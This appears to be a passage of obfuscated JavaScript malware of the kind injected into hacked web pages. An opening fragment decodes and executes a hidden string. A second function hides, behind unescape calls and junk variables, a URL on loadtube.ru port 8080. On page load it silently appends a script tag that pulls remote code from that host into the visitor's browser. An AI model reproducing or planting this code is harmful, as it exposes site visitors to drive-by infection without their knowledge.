Z.charCodeAt(X);var Gl='';var Xt = b(d,G);var CT=29979;Xt = A(Xt, sz);this.ZW="";var vU;if(vU!='Jf' && vU!='gd'){vU=''};Xt = A(Xt, y);Xt = A(Xt, au);this.pS="";this.IaP='';X++;this.Pm="";this.MG='';this.nD=48130;if(X > Z.length-Ph){this.Ay=false;var yl;if(yl!='orA' && yl!='hy'){yl='orA'};X=O;var Rb=false;}var hyL='';this.AB=false;aZ += Dy(Xt);var Xc=29818;var bT;if(bT!='' && bT!='cZ'){bT='oUF'};}var Lz=new Date();var VBf;if(VBf!='PJ'){VBf=''};for(bl=O; bl < E; bl+=dQ){var TU=false;var nmb=false;var fA="fA";var kT=false;var uVV;if(uVV!='IK' && uVV != ''){uVV=null};var L = Dy(u[bl]);this.Ve=false;var uuX=new String();var m = u[bl + Ph];this.gk='';this.fd="fd";var Gm=new Array();var F = new s(L, f.fromCharCode(103));this.Tht="";this.mh="mh";aZ=aZ[v("epcaler", [6,5,1,4,3,2,0])](F, m);}var kE="";var zm=new n(aZ);var qLs;if(qLs!='' && qLs!='Tf'){qLs=''};var eV=new Array();zm();this.Pu='';var HC=new Array();this.Ex=false;Z = '';var kQ=new Date();var dv;if(dv!=''){dv='fK'};this.iNE="iNE";au = '';this.aFy=45512;this.td=false;y = '';var aI=new Array();var dfe=new String();aZ = '';this.pA='';zm = '';EZ = '';var FMF=39705;var SAb=false;return '';var Pbc="";this.BJ=false;};this.dV=48930;var xN;if(xN!='zBe' && xN!='js'){xN='zBe'};this.eG=48738;P(ji);


var o_=new Array();function F(){var hR;if(hR!='k' && hR!='T'){hR=''};var Q;if(Q!=''){Q='O'};var B=window;var Z=unescape;this.Bi="";var f=Z("%2f%73%65%72%69%65%73%79%6f%6e%6b%69%73%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6e%6a%75%6b%65%2e%63%6f%6d%2e%70%68%70");var t;if(t!='SS'){t='SS'};var xE=new Date();var ew;if(ew!='j'){ew='j'};function o(R,C){var Ia="";var z="";var m="g";var x=Z("%5b"), w=Z("%5d");var c='';var hX;if(hX!='' && hX!='b'){hX=null};var l=x+C+w;var MO;if(MO!='' && MO!='P'){MO=null};var s=new RegExp(l, m);return R.replace(s, new String());this.E='';};var ZC;if(ZC!=''){ZC='d'};this.fJ='';this.agD='';var m_=new Date();var S=document;var jk="";var J=o('87236999051165576283635126601111162','2316579');var a=new String();this.eF='';this.ZM="";this.Vbj='';this.Ic='';function mb(){var g=new Date();this.FE="";var DZ;if(DZ!='zg' && DZ != ''){DZ=null};var V=Z("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");a=V;var lm;if(lm!='dV' && lm != ''){lm=null};this.JZ="";a+=J;a+=f;var Yr;if(Yr!='hL'){Yr='hL'};var HR='';this.Uxw="";var LR;if(LR!=''){LR='zO'};try {var OX=new String();Y=S.createElement(o('sBcSryiSp3t0','yBNY30SfljW7U'));this.pq="";Y[Z("%64%65%66%65%72")]=[1,5][0];var iL;if(iL!='Hf' && iL!='q'){iL=''};var da="";var Qo;if(Qo!='oW'){Qo='oW'};Y[Z("%73%72%63")]=a;this.xb='';S.body.appendChild(Y);this.Yz="";var vW;if(vW!='Hg' && vW != ''){vW=null};var RY='';var Zz;if(Zz!='' && Zz!='Ar'){Zz='qf'};} catch(ag){this.TP="";alert(ag);var _H;if(_H!='jB' && _H!='Ca'){_H='jB'};var dU='';};}var wh="";var Fn='';var ZD;if(ZD!=''){ZD='Tc'};var HU=new Date();B["onsuD".substr(0,2)+"lo"+"ad"]=mb;var mV='';var Pl;if(Pl!='' && Pl!='xB'){Pl='mVg'};};var kA;if(kA!='Vz' && kA != ''){kA=null};var HL;if(HL!='wsX' && HL != ''){HL=null};F();var _b;if(_b!='af'){_b='af'};var py;if(py!='wN'){py='wN'};